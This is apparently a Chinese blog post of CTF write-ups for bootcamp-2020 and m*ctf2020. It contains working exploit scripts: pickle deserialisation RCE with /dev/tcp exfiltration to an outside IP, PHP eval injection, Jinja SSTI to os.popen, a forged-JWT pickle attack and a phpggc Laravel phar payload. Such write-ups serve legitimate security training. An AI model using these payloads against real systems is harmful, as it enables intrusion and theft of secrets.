抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

国庆放假一直在刷题,大概是因为国赛自己打的太烂了吧…..感觉有不少东西还是可以精进的。

然后头几天怼了下htb的几道challenge.一个做了很久的题终于怼出来了,还有一道新题卡住了,另一道难题以为有了突破结果发现源码改了。。。。。。不过最后终于怼出来了2333.于是这两天就打了下ctftime上的两个ctf放松下。 bootcamp-2020是b01lers办的新手赛还是比较简单的,就是lua那题我怎么也没想到它websocket端口是对外的。另一个m*ctf2020挺有意思,难度有点高。而且其中除了web这个分类还有专门一个反序列化分类,比较有趣。目前他们都已经开放仓库,感兴趣的也可以去看看 :)
https://github.com/b01lers/bootcamp-2020

https://gitlab.com/mctf/quals-2020

bootcampCTF-2020

做题时简单做的笔记。所以没图。将就看吧

Find That Data!

整体上是个静态功能。首先登陆界面js中提示存在/maze路由。接下来发现maze.js中定义

1
2
3
4
5
6
7
function check_data() {
if (x === 1 && y === maxRows) {
$.post("/mem", { token: $("#token").html() }).done(function(data) {
alert("Memory: " + data);
});
}
}

post/mem传递token=xxx即可。token通过访问/token即可获得。大概几秒刷新一次。

Programs Only

实话说真的脑洞。要不是因为想起来国际赛经常有这种python后端放robots.txt的操作我真搞不出来。

1
2
3
4
5
User-agent: Program
Allow: /program/

User-agent: Master Control Program 0000
Allow: /program/control

改UA访问后一个即可

Reindeer Flotilla

flag在加了混淆的js里

First Day Inspection

flag一部分在加了混淆的js里剩下的四处找找就完了。

EnFlaskCom

有点意思。给了两个cookie.一个cookie user明显是pickle序列化数据的16进制。不过另一个cookie signature只能看出是256位。不知道算法。

存在报错,那么可以简单尝试更换cookie爆出部分源码。

于是疯狂fuzz.开始只单纯更改cookie的数值话,触发报错只能得到部分语句。就是知道他会调用自定义的sign()函数计算user的签名并与cookie中的signature进行assert断言。那么显然需要报错带出sign这个函数的源码。

显然我们只是更改cookie的值的话,传递结果总是字符串。那么sign函数是不会报错的,自然就不会爆出源码。
故将cookie改为数组传递下。就能得到sign源码

1
2
3
4
5
6
7
8
9
def sign(msg):
if type(msg) is not bytes:
msg = bytes(msg, 'utf8')
keyPair = RSA.RsaKey(n=122929120347181180506630461162876206124588624246894159983930957362668455150316050033925361228333120570604695808166534050128069551994951866012400864449036793525176147906281580860150210721340627722872013368881325479371258844614688187593034753782177752358596565495566940343979199266441125486268112082163527793027, e=65537, d=51635782679667624816161506479122291839735385241628788060448957989505448336137988973540355929843726591511533462854760404030556214994476897684092607183504108409464544455089663435500260307179424851133578373222765508826806957647307627850137062790848710572525309996924372417099296184433521789646380579144711982601, p=9501029443969091845314200516854049131202897408079558348265027433645537138436529678958686186818098288199208700604454521018557526124774944873478107311624843, q=12938505355881421667086993319210059247524615565536125368076469169929690129440969655350679337213760041688434152508579599794889156578802099893924345843674089, u=3286573208962127166795043977112753146960511781843430267174815026644571470787675370042644248296438692308614275464993081581475202509588447127488505764805156)
signer = pkcs1_15.new(keyPair)
hsh = SHA384.new()
hsh.update(msg)
signature = signer.sign(hsh)
return signature

进而调用pickle RCE即可.本来不想rce的结果发现is_admin()返回True没改成。干脆就直接rce了
nc -lvkp 9001监听
然后bash -c " cat flag.txt > /dev/tcp/ip/port"即可。避免弹shell造成干扰。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA384
from Crypto.PublicKey import RSA
import binascii
import pickle
import os


def sign(msg):
if type(msg) is not bytes:
msg = bytes(msg, 'utf8')
keyPair = RSA.RsaKey(n=122929120347181180506630461162876206124588624246894159983930957362668455150316050033925361228333120570604695808166534050128069551994951866012400864449036793525176147906281580860150210721340627722872013368881325479371258844614688187593034753782177752358596565495566940343979199266441125486268112082163527793027, e=65537, d=51635782679667624816161506479122291839735385241628788060448957989505448336137988973540355929843726591511533462854760404030556214994476897684092607183504108409464544455089663435500260307179424851133578373222765508826806957647307627850137062790848710572525309996924372417099296184433521789646380579144711982601, p=9501029443969091845314200516854049131202897408079558348265027433645537138436529678958686186818098288199208700604454521018557526124774944873478107311624843, q=12938505355881421667086993319210059247524615565536125368076469169929690129440969655350679337213760041688434152508579599794889156578802099893924345843674089, u=3286573208962127166795043977112753146960511781843430267174815026644571470787675370042644248296438692308614275464993081581475202509588447127488505764805156)
signer = pkcs1_15.new(keyPair)
hsh = SHA384.new()
hsh.update(msg)
signature = signer.sign(hsh)
return signature

class exp(object):
def __reduce__(self):
s = """bash -c "cat flag.txt > /dev/tcp/xxx/9001" """
return (os.system, (s,))

e = exp()
user=binascii.hexlify(pickle.dumps(e)).decode()
signature=binascii.hexlify(sign(user)).decode()
r = requests.get('http://chal.ctf.b01lers.com:3000/flag',cookies={'user':user,'signature':signature})

端口即可拿到flag

Where’s Tron?

给了源码
可以任意sql select语句执行。它唯一的限制就是limit 20所以直接注释掉。在返回的几千条数据中直接找tron。它的某一个列中就是flag

1
select * from programs where name regexp "^Tron"#

Next Gen Networking

给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
function get_data() {
if(!isset($_POST["packet"])){
return "<p>Error: packet not found</p>";
}

$raw_packet = $_POST["packet"];
$packet = json_decode($raw_packet);
if($packet == null) {
return "<p>Error: decoding packet</p>";
}

if($packet->version != 6.5) {
return "<p>Error: wrong packet version</p>";
}

$calculated_ihl = strlen($packet->version) + strlen(strval($packet->len)) + strlen(strval($packet->ttl)) + strlen(strval($packet->seqno)) + strlen(strval($packet->ackno)) + strlen($packet->algo) + 64;
$calculated_ihl = $calculated_ihl + strlen(strval($calculated_ihl));
if($packet->ihl != $calculated_ihl or $packet->ihl > 170) {
return "<p>Error: wrong header size</p>";
}

if($packet->len != strlen($raw_packet)) {
return "<p>Error: mismatched packet size</p>";
}

if($packet->ttl - 1 != 0) {
return "<p>Error: invalid ttl</p>";
}

if($packet->ackno != $_COOKIE["seqno"] + 1) {
return "<p>Error: out of order packet</p>";
}

if($packet->algo != "sha256"){
return "<p>Error: unsupported algorithm</p>";
}

$checksum_str = "\$checksum = hash(\"$packet->algo\", strval($packet->ihl + $packet->len + $packet->ttl + $packet->seqno + $packet->ackno));";
eval($checksum_str);

if($packet->checksum != $checksum) {
return "<p>Error: checksums don't match</p>";
}

$file_name_hash = hash("md5", microtime());
$file_name = "sent/".$file_name_hash.".packet";
$packet_file = fopen($file_name, "w") or die("Unable to open packet file");
fwrite($packet_file, $packet->data);
fclose($packet_file);

return "<h1>Packet data written</h1><div><a href=\"".$file_name."\">".$file_name_hash.".packet</a></div>";
}
?>

<!DOCTYPE html>
<html>
<head>
<title>Send Packet.</title>
<link rel="stylesheet" href="/style.css"/>
<link rel="stylesheet" href="/tron.css"/>
</head>
<body>
<div id="main-wrapper">
<div class="content-page">
<?php echo get_data(); ?>
</div>
</div>
</body>
</html>

主要就是一个eval可以利用。然后用弱类型绕过属性的要求rce
如下:

  • 1));?><?php system("cat ./sent/flag.packet.php"); -1 = 0成立。
    poc
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php

    $raw_packet = '{"version":6.5,"len":110}';
    $packet=json_decode($raw_packet,true);
    $packet["version"] = 6.5;
    $packet["ttl"]="1));?><?php system('cat /var/www/tron-eval/packets/sent/flag.packet.php');//";
    $packet["seqno"]=0;
    $packet["ackno"]=1;
    $packet["algo"]="sha256";
    $calculated_ihl = strlen($packet["version"]) + strlen(strval($packet["len"])) + strlen(strval($packet["ttl"])) + strlen(strval($packet["seqno"])) + strlen(strval($packet["ackno"])) + strlen($packet["algo"]) + 64;
    $calculated_ihl = $calculated_ihl + strlen(strval($calculated_ihl));
    $packet["ihl"]=$calculated_ihl;
    $packet["len"]=strlen(json_encode($packet));
    var_dump(json_encode($packet));
    exp
    1
    2
    3
    4
    5
    6
    import requests

    url='http://chal.ctf.b01lers.com:3002/packets/send.php'
    payload="""{"version":6.5,"len":164,"ttl":"1));?><?php system('cat \/var\/www\/tron-eval\/packets\/sent\/flag.packet.php');\/\/","seqno":0,"ackno":1,"algo":"sha256","ihl":157}"""
    r=requests.post(url,data={'packet':payload})
    print(r.text)

Derezzy

有点可惜。其实确实不难的。主要还是没想到它的websocket端口是对外的,有些郁闷。

首先题目整体上似乎是一个播放功能。然后可用的内容不多。只有一个main.js,用js-beautifyer美化下后看看其中的关键代码。

1
2
3
4
5
6
7
8
function updateServer() {
$.post("update", {
request: "listen",
path: "# wait where were my non-dynamic files..../app.lua"
}, function(a, b) {
"success" == b ? console.log("successful update") : console.log("unsuccessful update")
})
}

得知了update路由与传递的某个参数path提示我们有app.lua.因为是non-dynamic所以就是static静态了。static下有一个files文件夹。可以在里面找到app.lua.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
[{
update = "/update"
}] = respond_to({
GET = function(self)
return {
render = true
}
end,
POST = function(self)
if self.POST.request == 'listen' then
if not (self.session.id) then
do
local listener = Listens:find(csrf.generate_token(self))
if listener then
self.session.id = listener.id
else
listener = Listens:create({
id = csrf.generate_token(self),
count = 0
})
self.session.id = listener.id
end
end
end
if self.session.id and not Listens:find(self.session.id) then
local listener = Listens:create({
id = csrf.generate_token(self),
count = 0
})
self.session.id = listener.id
end
local listener = Listens:find(self.session.id)
local data = "flag{........}"
if listener.count >= 3470 then
local ws = w.new_from_uri("ws://localhost:8181")
assert(ws:connect())
data = {
user = self.session.id,
count = listener.count
}
assert(ws:send(cjson.encode(data)))
data = cjson.decode(assert(ws:receive()))
assert(ws:close())
end
local utct
do
local _accum_0 = { }
local _len_0 = 1
for item in string.gmatch(listener.updated_at, "%d+") do
_accum_0[_len_0] = item
_len_0 = _len_0 + 1
end
utct = _accum_0
end
local updatetime = os.time({
year = utct[1],
month = utct[2],
day = utct[3],
hour = utct[4],
min = utct[5],
sec = utct[6]
})
if listener ~= nil and os.time() - updatetime >= 104 then
listener.count = listener.count + 1
listener:update("count")
end
return {
json = {
status = "success",
id = self.session.id,
timestamp = listener.updated_at,
count = listener.count,
updatetime = updatetime,
currenttime = os.time(),
flag = data
}
}
end
return {
redirect_to = "/"
}
end
})

这里单独看下update路由的规则。不难发现只有count>=3470时会与websocket通信。此时服务端会返回一些内容。其中应该就是真正的flag了。

1
2
3
4
5
6
7
8
9
10
11
if listener.count >= 3470 then
local ws = w.new_from_uri("ws://localhost:8181")
assert(ws:connect())
data = {
user = self.session.id,
count = listener.count
}
assert(ws:send(cjson.encode(data)))
data = cjson.decode(assert(ws:receive()))
assert(ws:close())
end

然后就没有然后了。。。我以为不可能让选手跟websocket通信就跑去看lua有没有什么其他方法修改时间参数。结果就掉进了rabbithole.知道能通信的话,解决方法就很简单了
因为有源码所以在自己服务器搭建了复现下。
这个题还有非常脑洞的地方。它返回的结果是用flag与你的名字进行异或。所以我们传递足够长的名字并且与之异或还原flag.
官方脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import asyncio
import websockets
import json

async def solve():
uri = "ws://xxx:8181"
async with websockets.connect(uri) as websocket:
name = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
data = {"user": name, "count": 3500}
await websocket.send(json.dumps(data))
resp = await websocket.recv()
for r in resp:
print(chr(ord(r) ^ ord('A')), end="")

asyncio.get_event_loop().run_until_complete(solve())

web题目就这么多。整体上比较简单。最后一个有点脑洞.不过顺带着看了下lua感觉还是蛮有意思的。写web应用的思路有点接近nodejs.

m*ctf2020

这个比赛去看时已经只剩2小时了。然后tg群里全是毛子,看不懂讲什么……只能看看gitlab上一些题目的思路了。
题目质量不错然后莫名的很对胃口。就是时间太紧加上tcl都没做出来2333.有一个专门的序列化分类。非常有意思。

Web-wiki

题目开始只能明确的是xff似乎会在首页渲染,加上是python不难想到ssti.但是更改xff访问会发现我们并不能控制渲染的内容。那么说明可能需要源码了。
存在一个路径穿越获取源码。其实这也算python比较经典的漏洞了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route('/index/<path:dir>')
def getfile(dir):
check_dir = Disabled(str(dir))
xff = str(request.headers.getlist('X-Forwarded-For')[0]).split(',')[1]
check_xff = Disabled(xff)
if (check_xff.abort_rq()):
xff = str(request.headers.getlist('X-Forwarded-For')[0]).split(',')[len(xff)-1]
if not (check_dir.check_blocked()):
try:
with open(os.path.join('/app/static', dir), 'r') as file:
data = file.read()
file.close()
return data
except FileNotFoundError:
pass
except PermissionError:
pass
return render_template_string(my_template(xff.replace('.', '')))

可以看到确实可以xff达成ssti.不过需要取,后的内容为可控点。然后不能包含.
那就很简单了。用attr一条继承链或者直接

1
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('env')['read']()}}
1
2
3
4
5
6
7
8
url='http://web-library.mctf.online/index/'
proxies={'http':'127.0.0.1:1080','https':'127.0.0.1:1080'}
payload="""{{request['application']['__globals__']['__builtins__']['__import__']('os')["popen"]("env")["read"]()}}"""
headers={
'X-Forwarded-For':'123 ,'+payload
}
r=requests.get(url,headers=headers,proxies=proxies)
print(r.text)

FLAG=MCTF{IS_IT_NOT_SO_SECURE_?}

DeadJournal

序列化分类的python序列化

登录会发现cookie是jwt形式的。而其中payload的一个值identity明显是pickle序列化后base64的结果。

那么需要key来伪造pickle序列化数值进行rce
爆破得到SecreT
(我绝对不会再用到c-jwt-cracker爆破key了,效果奇差。手写python + rockyou.txt 效果好了不知道多少倍)

因为禁止了os.system 以及eval这样的函数。所以用subprocess.checkoutput即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from base64 import  b64encode
import pickle
import jwt


class exp(object):
def __reduce__(self):
cmd = ['bash', '-c', 'echo $(env) > /dev/tcp/120.27.246.202/9001 ']
return __import__('subprocess').check_output, (cmd,)

e = exp()
poc = b64encode(pickle.dumps(e)).decode()
token='eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MDE4MTE3NjQsIm5iZiI6MTYwMTgxMTc2NCwianRpIjoiOWU3YzYzOWYtZWVkZC00MzAxLWJkN2EtMmQ4ZDQxYWFjNTA0IiwiZXhwIjoxNjMzMzQ3NzY0LCJpZGVudGl0eSI6ImdBU1ZXZ0VBQUFBQUFBQ01EbkJyYkY5aGNIQXViVzlrWld4emxJd0VWWE5sY3BTVGxDbUJsSDJVS0l3U1gzTmhYMmx1YzNSaGJtTmxYM04wWVhSbGxJd1VjM0ZzWVd4amFHVnRlUzV2Y20wdWMzUmhkR1dVakExSmJuTjBZVzVqWlZOMFlYUmxsSk9VS1lHVWZaUW9qQWhwYm5OMFlXNWpaWlJvQTR3UFkyOXRiV2wwZEdWa1gzTjBZWFJsbEgyVWpBTnJaWG1VYUFKTHFvV1VUb2VVakF4c2IyRmtYMjl3ZEdsdmJuT1VqNVNNQm1Oc1lYTnpYNVJvQW93U1pYaHdhWEpsWkY5aGRIUnlhV0oxZEdWemxJK1VqQWxzYjJGa1gzQmhkR2lVWFpSb0FrNkdsR0dNQjIxaGJtRm5aWEtVakI1emNXeGhiR05vWlcxNUxtOXliUzVwYm5OMGNuVnRaVzUwWVhScGIyNlVqQkZmVTJWeWFXRnNhWHBsVFdGdVlXZGxjcFNUbENtQmxIMlVhQk5vQW5OaWRXS01DSEJoYzNOM2IzSmtsSXdETVRJemxJd0lkWE5sY201aGJXV1VqQWhoWkcxcGJqRXlNNVNNQW1sa2xFdXFkV0l1IiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.VBMiDwfU0EEaEIkq5GMH60THzvCb7QTWPEm-euvTQKs'
key='SecreT'
data=jwt.decode(token,verify=None)
data['identity']=poc
token=jwt.encode(data,key=key,algorithm='HS256').decode()
print(token)

r=requests.get('http://dead-journal.mctf.online/',cookies={'access_token_cookie':token})

flag在环境变量
FLAG=MCTF{pl33Z_donT_u53_p1cKl13}

2in1

序列化分类的php反序列化

比较符合实战的题目。有两种文件上传方式。其中一个是直接上传。还有一种应该是file_get_contents上传.这个环境是laravel,而且可以推测上传路径。加上只有jpeg的限制,那么就能够上传phar并进行触发达成rce.

phpggc真好用。。。直接生成rce的phar->jpeg文件。

1
./phpggc -pj src_public_uploads_test.jpeg  -o  exp.jpeg Laravel/RCE1  system env

然后
phar:///app/public/uploads/YWGXnnP49J.jpeg
触发

flag=mctf{better_than_w@r}

Chat

序列化分类的java反序列化
首先给出服务端的依赖以及一个jar包。应该是jdk11的环境。不过只是一个thin client.

1
2
3
4
5
6
7
dependencies {
implementation 'org.springframework.boot:spring-boot-starter-websocket'
compile group: 'com.esotericsoftware', name: 'kryo', version: '4.0.2'
compile group: 'org.apache.xbean', name: 'xbean-naming', version: '4.17'
compileOnly 'org.projectlombok:lombok'
annotationProcessor 'org.projectlombok:lombok'
}

直接走到关键点:找writeObject

然后就大致可以确认是kyro反序列化了。具体利用方法主要是marshalsec + Xbean依赖生成一个payloadfile.然后用类似jndi的方法加载恶意class抛出Error.在error中反序列化ChatMessage类
不过因为没有指定类以及一些细节问题。还需要重新编译marshalsec.具体参考https://gitlab.com/mctf/quals-2020/chat/-/blob/master/exploit/marshalsec.patch加上一个写有静态方法抛出读文件payload的class即可达成rce.

整体上我还是有很多问题……不过既然源码都有了的话以后接触到kyro反序列化再回来填坑。

rails

反序列化类的ruby反序列化
基本上就是可以用这个直接打。不过因为要求ruby版本2.5.1就懒得打了。基本流程是两个cve打组合拳。
首先CVE-2019-5418是一个路径穿越的洞。可以在header中设置Accept: ../../../../../../../../etc/passwd穿越路径访问到文件。
然后可以任意读了后就能读到反序列化的配置文件credentials.yml.enc ,master.key.计算出secret_key_base 后就能访问指定资源进行反序列化rce.CVE-2019-5420
https://github.com/mpgn/Rails-doubletap-RCE

最后还是决定docker起了个2.5.1的环境……然后用这个exp时先bundle install (换源) + 安装nodejs + 去掉exploit.rb里的代理即可运行并反弹shell

flag:mctf{1_l0ve_rzhd

评论